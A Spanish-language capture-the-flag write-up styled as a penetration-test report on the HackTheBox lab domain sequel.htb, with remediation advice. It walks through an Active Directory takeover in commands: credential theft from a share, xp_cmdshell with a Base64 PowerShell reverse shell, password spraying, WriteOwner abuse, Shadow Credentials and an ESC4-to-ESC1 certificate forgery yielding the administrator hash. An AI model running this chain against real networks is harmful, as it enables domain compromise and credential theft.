

EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO ESCAPETWO (ACTIVE DIRECTORY / PKI)

1. Cabecera Formal y Clasificación

Parámetro	Detalle
ID del Proyecto	SEC-RPT-AD-ESCTWO-2025
Clasificación	TLP:CLEAR / Pública
Cliente / Entorno	Bosque Active Directory SEQUEL.HTB
Activo(s) en Alcance	dc01.sequel.htb (10.129.147.138)
Tipo de Evaluación	Prueba de Penetración Interna / Auditoría de Seguridad en Servicios de Certificados (AD CS)
Estado	Compromiso Crítico Validado / Control Total de Dominio

2. Resumen Ejecutivo

Durante la auditoría de seguridad interna sobre la infraestructura de Active Directory del dominio sequel.htb, se identificó una cadena crítica de vectores de ataque encadenados que permitieron a un operador no privilegiado comprometer de forma absoluta el bosque corporativo.

Partiendo de una cuenta de usuario estándar (rose) con acceso inicial a recursos compartidos, se descubrió la exposición de credenciales maestras de base de datos en archivos ofimáticos no segregados. Esto facilitó la ejecución remota de código en Microsoft SQL Server 2019 vía xp_cmdshell. Posteriormente, la presencia de contraseñas en texto claro en archivos de instalación desatendida (sql-Configuration.INI) permitió un movimiento lateral hacia cuentas operativas intermedias con privilegios delegados de propiedad (WriteOwner) sobre la cuenta de servicio de la Autoridad de Certificación (ca_svc). Explotando permisos deficientes en Active Directory Certificate Services (AD CS), se reconfiguró una plantilla de certificados vulnerable (transición de ESC4 a ESC1), forjando certificados de autenticación Kerberos (PKINIT) y suplantando la identidad del Administrador corporativo (Administrator), comprometiendo de manera irreversible la confidencialidad, integridad y disponibilidad del dominio.

3. Matriz de Hallazgos y Afección

Vulnerabilidad / Hallazgo	Criticidad	CVSS v3.1	OWASP / CWE	Mapeo MITRE ATT&CK
Abuso de Plantillas AD CS (ESC4 a ESC1)	Crítica	9.8	CWE-295 / OWASP A04:2021	T1649 - Steal or Forge Authentication Certificates
Ejecución Remota de Código vía MSSQL (xp_cmdshell)	Crítica	8.8	CWE-78 / OWASP A03:2021	T1059.001 - Command and Scripting Interpreter: PowerShell
Control Inseguro de Propiedad en DACL (WriteOwner)	Alta	8.8	CWE-276 / OWASP A01:2021	T1222.001 - File and Directory Permissions Modification: Windows DACL
Fuga de Credenciales en Archivos Compartidos SMB	Alta	7.5	CWE-522 / OWASP A01:2021	T1039 - Data from Network Shared Drive
Almacenamiento de Claves en Texto Claro (.INI)	Alta	7.5	CWE-312 / OWASP A02:2021	T1552.001 - Unsecured Credentials: Credentials in Files

4. Detalle Técnico y Pruebas de Concepto (PoC)

4.1. Exposición de Credenciales en SMB y Ejecución de Comandos en MSSQL

El recurso compartido //dc01.sequel.htb/Accounting Department disponía de permisos de lectura para cualquier usuario autenticado en el dominio. Mediante la cuenta inicial provista (rose), se procedió a la inspección de su contenido.

```
smbclient //dc01.sequel.htb/Accounting\ Department -U 'rose' --password 'KxEPkKe6R8su'
smb: \> get accounts.xlsx
smb: \> get accounting_2024.xlsx
```

Al descomprimir la estructura OpenXML del archivo accounts.xlsx, se identificaron credenciales administrativas para el motor de base de datos dentro del flujo sharedStrings.xml:

```
unzip -q accounts.xlsx -d accounts_extracted
cat accounts_extracted/xl/sharedStrings.xml | xmllint --xpath '//*[local-
```

```
name()="t"]/text()'
```

 -
Credenciales maestras identificadas: sa : MSSQLP@ssw0rd!

Con las credenciales del usuario sa, se estableció una conexión interactiva contra el puerto TCP 1433 del controlador de dominio. Se habilitó el procedimiento almacenado extendido xp_cmdshell para ejecutar comandos a nivel de sistema operativo:

```
mssqlclient.py 'sequel.htb/sa:MSSQLP@ssw0rd!@dc01.sequel.htb' -windows-auth
SQL (sa dbo@master)> EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
SQL (sa dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL (sa dbo@master)> xp_cmdshell whoami
# Salida: sequel\sql_svc
```

Se procedió a establecer una conexión inversa ejecutando un comando de PowerShell codificado en Base64:

```
SQL (sa dbo@master)> xp_cmdshell powershell -e
JABjAGwAaQBLAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...
```

En la estación de auditoría se recibió la sesión interactiva con el contexto de sequel\sql_svc:

```
nc -lvnp 9001
# Conexión establecida desde 10.129.147.138:63290
whoami
# sequel\sql_svc
```

- **Impacto Técnico:** Ejecución remota de código arbitrario bajo la cuenta de servicio sql_svc y acceso a la red interna del host.
- **Remediación & Hardening:**
 1. Restringir los permisos de compartición y NTFS en Accounting Department aplicando el principio de mínimo privilegio.
 2. Deshabilitar xp_cmdshell mediante directivas de base de datos y deshabilitar o renombrar la cuenta sa.

4.2. Movimiento Lateral vía Credenciales Residuales de Instalación

Inspeccionando el sistema de archivos del servidor, se identificaron artefactos residuales de la instalación desatendida de SQL Server en C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI:

```
Get-Content C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | Select-String
"PASSWORD"
# Parámetro extraído: SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
```

Se efectuó una comprobación cruzada de la contraseña contra los usuarios del dominio mediante netexec:

```
netexec smb dc01.sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-
on-success
# [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
```

Validada la autenticación, se accedió al servicio WinRM bajo la identidad de ryan:

```
evil-winrm -i dc01.sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
152ca58a992f638e343baf5b9a6c41a0
```

- **Impacto Técnico:** Escalada vertical de privilegios hacia un operador con facultades delegadas de administración.
- **Remediación & Hardening:** Depurar y sanitizar los directorios de instalación eliminando ficheros .ini, sysprep y respuestas desatendidas que contengan contraseñas en texto claro.

4.3. Escalada de Privilegios mediante AD CS (DACL WriteOwner y Transición ESC4 a ESC1)

El análisis de listas de control de acceso (DACL) reveló que ryan ostenta el derecho WriteOwner sobre el objeto de la cuenta de servicio ca_svc. Mediante la herramienta bloodyAD, se tomó posesión del objeto y se asignaron derechos de control total (GenericAll):

```
bloodyAD -d sequel.htb --host 10.129.147.138 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.129.147.138 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
add genericAll ca_svc ryan
```

A través de la técnica de Shadow Credentials, se inyectó una clave pública en el atributo msDS-KeyCredentialLink de ca_svc, solicitando un ticket Kerberos mediante PKINIT para recuperar su hash NT:

```
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account
'ca_svc' -dc-ip 10.129.147.138
```

```
# [*] Hash NT de ca_svc obtenido: 3b181b914e7a9d5508ea1e20bc2b7fce
```

La cuenta ca_svc poseía permisos de modificación sobre la plantilla de certificados DunderMifflinAuthentication (escenario ESC4). Se tomó control de la plantilla y se reescribió su configuración a una directiva vulnerable a suplantación de identidad (ESC1, habilitando CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT y autenticación de cliente):

```
bloodyAD -d sequel.htb --host 10.129.147.138 -u 'ca_svc' -p  
'3b181b914e7a9d5508ea1e20bc2b7fce' set owner  
"CN=DunderMifflinAuthentication,CN=Certificate Templates,CN=Public Key  
Services,CN=Services,CN=Configuration,DC=sequel,DC=htb" ca_svc  
certipy-ad template -template DunderMifflinAuthentication -write-default-  
configuration -u 'ca_svc' -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip  
10.129.147.138 -force
```

Haciendo uso de la plantilla modificada, se solicitó un certificado digital suplantando al Administrador de Dominio:

```
certipy-ad req -ca sequel-DC01-CA -u 'ca_svc' -hashes  
3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.129.147.138 -template  
DunderMifflinAuthentication -target dc01.sequel.htb -upn  
'administrator@sequel.htb'  
# [*] Certificado emitido y exportado: administrator.pfx
```

Se procedió a la autenticación mediante PKINIT para obtener el hash NT de la cuenta administrativa:

```
certipy auth -pfx administrator.pfx -dc-ip 10.129.147.138  
# [*] Got hash for 'administrator@sequel.htb':  
aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
```

Validación y acceso como superusuario del dominio:

```
evil-winrm -u 'administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff' -i  
10.129.147.138  
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt  
743f1a6d3a487cd1a352b9f3a5c1a3d4
```

- **Impacto Técnico:** Compromiso absoluto e irreversible del bosque Active Directory SEQUEL.HTB.
- **Remediación & Hardening:**

1. Restringir permisos de modificación (WriteOwner, WriteDacl, GenericAll) sobre plantillas de certificados y cuentas de servicio, limitándolos a Domain Admins.
2. Deshabilitar CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT en las plantillas y requerir aprobación obligatoria de un gestor de certificados (Requires Manager Approval).